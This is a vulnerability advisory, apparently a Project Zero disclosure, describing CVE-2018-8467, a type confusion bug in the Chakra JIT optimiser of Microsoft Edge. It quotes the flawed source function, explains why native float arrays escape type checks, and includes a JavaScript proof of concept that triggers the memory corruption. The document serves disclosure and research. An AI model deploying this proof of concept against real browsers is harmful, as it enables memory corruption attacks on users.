Microsoft Edge Chakra JIT Type Confusion Bug

Microsoft Edge suffers from a Chakra JIT type confusion bug.


MD5 | 6fbef805082788dae5a43414514f7830

Microsoft Edge: Chakra: JIT: Type confusion bug 

CVE-2018-8467


The switch statement only handles Js::TypeIds_Array but not Js::TypeIds_NativeIntArray and Js::TypeIds_NativeFloatArray. So for example, a native float array can be considered as of type ObjectType::Object under certain circumstances where "objValueType.IsLikelyArrayOrObjectWithArray()" is not fulfilled. As it doesn't install any array type conversion check for an definite object, handling a native array as an definite object can lead to type confusion.

void
GlobOpt::UpdateObjPtrValueType(IR::Opnd * opnd, IR::Instr * instr)
{
...
if (newValueType == ValueType::Uninitialized)
{
switch (typeId)
{
default:
if (typeId > Js::TypeIds_LastStaticType)
{
Assert(typeId != Js::TypeIds_Proxy);
if (objValueType.IsLikelyArrayOrObjectWithArray())
{
// If we have likely object with array before, we can't make it definite object with array
// since we have only proved that it is an object.
// Keep the likely array or object with array.
}
else
{
newValueType = ValueType::GetObject(ObjectType::Object);
}
}
break;
case Js::TypeIds_Array:
// Because array can change type id, we can only make it definite if we are doing array check hoist
// so that implicit call will be installed between the array checks.
if (!DoArrayCheckHoist() ||
(currentBlock->loop
? !this->ImplicitCallFlagsAllowOpts(currentBlock->loop)
: !this->ImplicitCallFlagsAllowOpts(this->func)))
{
break;
}
if (objValueType.IsLikelyArrayOrObjectWithArray())
{
// If we have likely no missing values before, keep the likely, because, we haven't proven that
// the array really has no missing values
if (!objValueType.HasNoMissingValues())
{
newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
}
}
else
{
newValueType = ValueType::GetObject(ObjectType::Array).SetArrayTypeId(typeId);
}
break;
}
}
...
}

PoC:
function opt(arr, arr2) {
arr[0] = 1.1;

arr2.method(arr2[0] = {});

arr[0] = 2.3023e-320;
}

Object.prototype.method = () => {};

let arr = [1.1, 2.2];
for (let i = 0; i < 100; i++) {
opt(arr, 1); // Feeding an integer to make the value type LikelyCanBeTaggedValue_Int_PrimitiveOrObject
opt(arr, arr.concat());
}

setTimeout(() => {
opt(arr, arr);
alert(arr);
}, 100); // Waiting for the JIT server to finish its job.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt


Related Posts